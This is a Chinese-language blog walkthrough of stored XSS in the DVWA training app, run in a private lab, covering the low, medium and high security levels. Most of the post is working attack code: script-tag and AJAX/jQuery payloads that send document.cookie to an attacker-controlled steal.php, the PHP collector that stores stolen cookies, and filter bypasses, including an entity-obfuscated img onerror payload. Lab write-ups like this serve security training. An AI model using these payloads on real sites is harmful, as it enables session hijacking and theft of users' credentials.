C1imber's Blog

dvwa XSS(Stored)

字数统计: 2.7k阅读时长: 13 min
2017/12/01 Share

dvwa存储型xss

通过上一篇对反射型xss的研究和利用,接下来的这篇文章将研究存储型xss并且利用存储型xss编写exploit盗取用户cookie,存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多,在这我将介绍几种更为隐蔽的方式获取用户cookie

测试环境

同上次的一样,一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口
一台win7虚拟机,ip为192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建

low级别

为了便于理解,代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
可以看出对有害输入没有任何过滤,直接将用户提交的内容插入数据库,输入点在两个输入框都有,但是后面的几种难度都对Message域的输入内容进行了htmlspecialchars转义,为了和后面的一致,我们将payload插入Name域测试xss,在此之前用firebug将Name输入框的maxlength改为600,一开始为10,然后输入payload

Name:<script>alert("xss")</script>
Message:testxss

mark
简单的一个弹框,弹框可见我们的payload已经储存到了数据库,只要访问该页面的用户都会触发xss
mark
下面我们编写payload偷取该网站下用户的cookie,构造payload

Name:<script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:testxss

用script标签加载远程服务器上我们编写的获取cookie的js代码,上一节我们编写的是下面的代码

document.write("<form action='http://192.168.50.150/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免会引起用户的怀疑,我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php

var url = "http://192.168.50.150/dvwaxss/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.50.150/dvwaxss/steal.php,也就是当前目录下的steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中
我们先删除目标网站数据中之前我们插入的payload,然后输入

Name:<script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:send cookie use ajax

mark
用src加载远程服务器的js脚本,那么js就是该网站所信任的,那么js的源就会变成加载它的域,从而可以读取该域的数据,比如用户cookie,我们将请求提交后可以看到当前页面将http://192.168.50.150/dvwaxss/cookie.js加载了进来
mark

然后观察firebug的javascript控制台,看到

已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin')

mark
这是因为ajax严格遵从同源策略,当前加载cookie.js的域为http://192.168.50.128:8080,所以ajax不能读取不同域http://192.168.50.150下的数据,但是cookie已经被发送到了http://192.168.50.150域,steal.php已经将偷取到的cookie存放在了数据库中,而且页面没有刷新,很隐蔽
mark
还有一种方式,为了更好的兼容浏览器,我们可以使用juery ajax
删除目标网站之前的payload,输入

Name:<script src="http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js"></script><script src="http://192.168.50.150/dvwaxss/cookie.js"></script>
Message:send cookie use juery ajax

mark
使用juery前要先<script src="http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.js"></script>引入
由于dvwa中guestbook的name字段有长度限制,为了实验效果,我们用phpmyadmin将name列的varchar改为1000
服务端juery代码

$(document).ready(function(){
    $.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

上面的代码同样的构造post请求将cookie作为post参数发送给steal.php
然后提交我们的输入
可见页面加载了我们的cookie.js
mark
同时ajax也执行了
mark
cookie也被偷取到了
mark

medium级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

主要过滤的地方有

$message = trim( $_POST[ 'mtxMessage' ] );
$name    = trim( $_POST[ 'txtName' ] );    
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );

对mtxMessage进行了htmlspecialchars转义,但是没有转义txtName,只是把<script>替换为了空,和之前的反射型xss一样,转化为大写<SCRIPT>或者<scr<script>ipt>绕过即可,下面的和low级别利用方式一样,这里不再重复

high 级别

代码如下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

触发点还是在Name域,和反射型xss high级别的过滤方法一样

$name    = trim( $_POST[ 'txtName' ] );
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用img标签绕过即可,有不明白的地方参考上一节反射型,编写payload验证xss的存在,输入

Name:<img src=# onerror="alert('xss')">
Message:test xss

mark
弹框,证明有xss的存在
mark
接下来编写payload获取用户cookie,用firebug将maxlength改为1000,再输入之前先将之前插入数据库的payload删除,然后输入

Name:<img src=# onerror='var url="http://192.168.50.150/dvwaxss/steal.php";var postStr="data="+document.cook&#x69;e;var ajax=null;&#x69;f(w&#x69;ndow.XMLHttpRequest){ajax=new XMLHttpRequest();}else &#x69;f(w&#x69;ndow.Act&#x69;veXObject){ajax=new Act&#x69;veXObject("M&#x69;crosoft.XMLHTTP");}else{ajax=null;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "appl&#x69;cat&#x69;on/x-www-form-urlencoded");ajax.send(postStr);'>
Message:send cookie use ajax

直接在onerror后使用ajax将当前网站用户的cookie用ajax发送到http://192.168.50.150/dvwaxss/steal.php,为了绕过过滤对所有”i”这个字母进行了html编码,为&#x69;
提交payload
查看元素
mark
查看firebug控制台,有已拦截跨源请求:同源策略禁止读取位于 http://192.168.50.150/dvwaxss/steal.php 的远程资源。(原因:CORS 头缺少 'Access-Control-Allow-Origin'),可以看出ajax已经执行,将cookie发送到http://192.168.50.150/dvwaxss/steal.php
mark
偷取到的cookie被steal.php存入数据库
mark
另外一种方式是利用juery ajax

编写payload

Name:<img src=# onerror="var a=document.createElement('scr&#x69;pt'); a.setAttr&#x69;bute('src', 'http://cdn.stat&#x69;c.runoob.com/l&#x69;bs/jquery/1.10.2/jquery.m&#x69;n.js'); document.getElementsByTagName('head')[0].appendCh&#x69;ld(a);var b= document.createElement('scr&#x69;pt'); b.setAttr&#x69;bute('src','http://192.168.50.150/xss_s/cook&#x69;e.js');
document.getElementsByTagName('head')[0].appendCh&#x69;ld(b);">
Message:send cookie use juery ajax

mark
同样的为了绕过过滤对所有的字母”i”进行html编码
onerror里的js代码是利用javascript DOM操作动态创造script标签,然后用setAttribute给src赋值,分别加载http://cdn.static.runoob.com/libs/jquery/1.10.2/jquery.min.jshttp://192.168.50.150/xss_s/cookie.js
http://192.168.50.150/xss_s/cookie.js代码为

$(document).ready(function(){
$.post("http://192.168.50.150/dvwaxss/steal.php",{data:document.cookie});
}
);

和上面的一样
提交payload
mark
javascript DOM操作已经在页面重新加载时在head标签下创造了两个script标签去加载js脚本
mark
cookie已经发送给了http://192.168.50.150/dvwaxss/steal.php
mark
被steal.php存入数据库
mark

CATALOG
  1. 1. dvwa存储型xss
    1. 1.0.1.
    2. 1.0.2. 测试环境
    3. 1.0.3. low级别
    4. 1.0.4. medium级别
    5. 1.0.5. high 级别